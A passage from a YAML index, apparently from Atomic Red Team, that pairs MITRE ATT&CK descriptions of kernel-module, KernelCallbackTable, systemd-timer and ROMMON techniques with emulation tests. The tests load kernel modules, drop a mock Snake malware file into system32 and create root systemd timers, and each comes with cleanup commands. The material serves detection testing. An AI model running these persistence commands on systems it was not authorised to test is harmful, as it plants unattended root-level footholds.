        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install the terraform.

          '
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'stat "$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate"

          '
        get_prereq_command: |-
          cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
          terraform init
          terraform apply -auto-approve
  T1547.006:
    technique:
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      - Anastasios Pingios
      - Jeremy Galloway
      - Red Canary
      - Eric Kaiser @ideologysec
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
      created: '2020-01-24T17:42:23.339Z'
      x_mitre_version: '1.3'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.006
        url: https://attack.mitre.org/techniques/T1547/006
      - source_name: Apple Developer Configuration Profile
        url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
        description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved
          September 23, 2021.
      - source_name: Apple Kernel Extension Deprecation
        url: https://developer.apple.com/support/kernel-extensions/
        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
          Alternatives. Retrieved November 4, 2020.
      - source_name: System and kernel extensions in macOS
        url: https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web
        description: Apple. (n.d.). System and kernel extensions in macOS. Retrieved
          March 31, 2022.
      - source_name: GitHub Reptile
        url: https://github.com/f0rb1dd3n/Reptile
        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
          April 9, 2018.
      - source_name: Volatility Phalanx2
        url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
      - source_name: iDefense Rootkit Overview
        url: http://www.megasecurity.org/papers/Rootkits.pdf
        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
          April 6, 2018.
      - source_name: Linux Loadable Kernel Module Insert and Remove LKMs
        url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
        description: Henderson, B. (2006, September 24). How To Insert And Remove
          LKMs. Retrieved April 9, 2018.
      - source_name: CrowdStrike Linux Rootkit
        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
      - source_name: GitHub Diamorphine
        url: https://github.com/m0nad/Diamorphine
        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
      - source_name: Securelist Ventir
        url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
          your MacOS spy. Retrieved April 6, 2018.'
      - source_name: User Approved Kernel Extension Pike’s
        url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
        description: Pikeralpha. (2017, August 29). User Approved Kernel Extension
          Loading…. Retrieved September 23, 2021.
      - source_name: Linux Kernel Module Programming Guide
        url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
          Retrieved April 6, 2018.
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - source_name: Trend Micro Skidmap
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
          Retrieved June 4, 2020.
      - source_name: Purves Kextpocalypse 2
        url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
        description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse
          . Retrieved September 23, 2021.
      - source_name: RSAC 2015 San Francisco Patrick Wardle
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
          Retrieved April 6, 2018.
      - source_name: Synack Secure Kernel Extension Broken
        url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
          Extension Loading’ is Broken. Retrieved April 6, 2018.
      - source_name: Wikipedia Loadable Kernel Module
        url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
          April 9, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) 

        When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)

        Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)

        Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)

        Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: Kernel Modules and Extensions'
      x_mitre_detection: |
        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>

        On macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Kernel: Kernel Module Load'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - root
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.006
    atomic_tests:
    - name: Linux - Load Kernel Module via insmod
      auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23
      description: 'This test uses the insmod command to load a kernel module for
        Linux.

        '
      supported_platforms:
      - linux
      input_arguments:
        module_name:
          description: Name of the kernel module name.
          type: string
          default: T1547006
        module_path:
          description: Folder used to store the module.
          type: path
          default: "/tmp/T1547.006/T1547006.ko"
        temp_folder:
          description: Temp folder used to compile the code.
          type: path
          default: "/tmp/T1547.006"
        module_source_path:
          description: Path to download Gsecdump binary file
          type: path
          default: PathToAtomicsFolder/T1547.006/src
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;
          cp #{module_source_path}/* #{temp_folder}/
          cd #{temp_folder}; make
          if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi;
      executor:
        command: 'sudo insmod #{module_path}

          '
        cleanup_command: |
          sudo rmmod #{module_name}
          [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
        name: bash
        elevation_required: true
    - name: MacOS - Load Kernel Module via kextload and kmutil
      auto_generated_guid: f4391089-d3a5-4dd1-ab22-0419527f2672
      description: 'This test uses the kextload and kmutil commands to load and unload
        a MacOS kernel module.

        '
      supported_platforms:
      - macos
      input_arguments:
        module_path:
          description: Folder used to store the module.
          type: path
          default: "/Library/Extensions/SoftRAID.kext"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -d #{module_path} ] ; then exit 0; else exit 1 ; fi

          '
        get_prereq_command: 'exit 1

          '
      executor:
        command: |
          set -x
          sudo kextload #{module_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kextunload #{module_path}
          sudo kmutil load -p #{module_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kmutil unload -p #{module_path}
        name: bash
        elevation_required: true
    - name: MacOS - Load Kernel Module via KextManagerLoadKextWithURL()
      auto_generated_guid: f0007753-beb3-41ea-9948-760785e4c1e5
      description: |
        This test uses the IOKit API to load a kernel module for macOS.
        Harcoded to use SoftRAID kext
      supported_platforms:
      - macos
      input_arguments:
        src_path:
          description: Folder used to store the module.
          type: path
          default: PathToAtomicsFolder/T1547.006/src/macos_kextload.c
        exe_path:
          description: Folder used to store the module.
          type: path
          default: "/tmp/T1547006_iokit_loader"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi

          '
        get_prereq_command: 'cc -o #{exe_path} #{src_path} -framework IOKit -framework
          Foundation

          '
      executor:
        command: |
          sudo #{exe_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kextunload /Library/Extensions/SoftRAID.kext
        name: bash
        elevation_required: true
        cleanup_command: 'rm -f #{exe_path}

          '
    - name: Snake Malware Kernel Driver Comadmin
      auto_generated_guid: e5cb5564-cc7b-4050-86e8-f2d9eec1941f
      description: "The following Atomic Test will write an file, comadmin.dat, to
        disk. From the report, Snake's installer drops the kernel driver and a custom
        DLL which is used to load the driver into a\nsingle AES encrypted file on
        disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\\system32\\Com
        directory. \nThis Atomic Test will write a hardcoded named file to disk in
        the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: '$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path
          $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null
          }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath
          $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes);
          [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)

          '
        cleanup_command: '$examplePath = Join-Path $env:windir "system32\Com"; $exampleName
          = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName;
          if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }

          '
        name: powershell
        elevation_required: true
  T1574.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde
      type: attack-pattern
      created: '2022-02-25T15:27:44.927Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.013
        url: https://attack.mitre.org/techniques/T1574/013
      - source_name: Lazarus APT January 2022
        url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
        description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus
          APT leverages Windows Update client, GitHub in latest campaign. Retrieved
          January 27, 2022.
      - source_name: 'FinFisher exposed '
        url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
        description: 'Microsoft Defender Security Research Team. (2018, March 1).
          FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex
          virtual machines. Retrieved January 27, 2022.'
      - source_name: Windows Process Injection KernelCallbackTable
        url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
        description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable
          used by FinFisher / FinSpy. Retrieved February 4, 2022.'
      - source_name: NtQueryInformationProcess
        url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
        description: Microsoft. (2021, November 23). NtQueryInformationProcess function
          (winternl.h). Retrieved February 4, 2022.
      modified: '2022-05-11T14:00:00.188Z'
      name: KernelCallbackTable
      description: |-
        Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

        An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

        A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

        The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.

        Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1053.006:
    technique:
      modified: '2023-09-08T11:56:26.862Z'
      name: 'Scheduled Task/Job: Systemd Timers'
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      created: '2020-10-12T17:50:31.584Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/006
        external_id: T1053.006
      - source_name: Systemd Remote Control
        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
          on Remote Linux Server. Retrieved July 26, 2021.
        url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
      - source_name: archlinux Systemd Timers Aug 2020
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
      - source_name: gist Arch package compromise 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
      - source_name: 'Falcon Sandbox smp: 28553b3a9d'
        description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7.
          Retrieved September 8, 2023.
        url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300
      - source_name: 'Linux man-pages: systemd January 2014'
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: string
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: string
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1542.004:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
      type: attack-pattern
      created: '2020-10-20T00:05:48.790Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.004
        url: https://attack.mitre.org/techniques/T1542/004
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: ROMMONkit
      description: |-
        Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)


        ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: There are no documented means for defenders to validate the
        operation of the ROMMON outside of vendor support. If a network device is
        suspected of being compromised, contact the vendor to assist in further investigation.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1137.003:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634
      type: attack-pattern
      created: '2019-11-07T20:06:02.624Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137.003
        url: https://attack.mitre.org/techniques/T1137/003
      - source_name: SensePost Outlook Forms
        url: https://sensepost.com/blog/2017/outlook-forms-and-shells/
        description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved
          February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
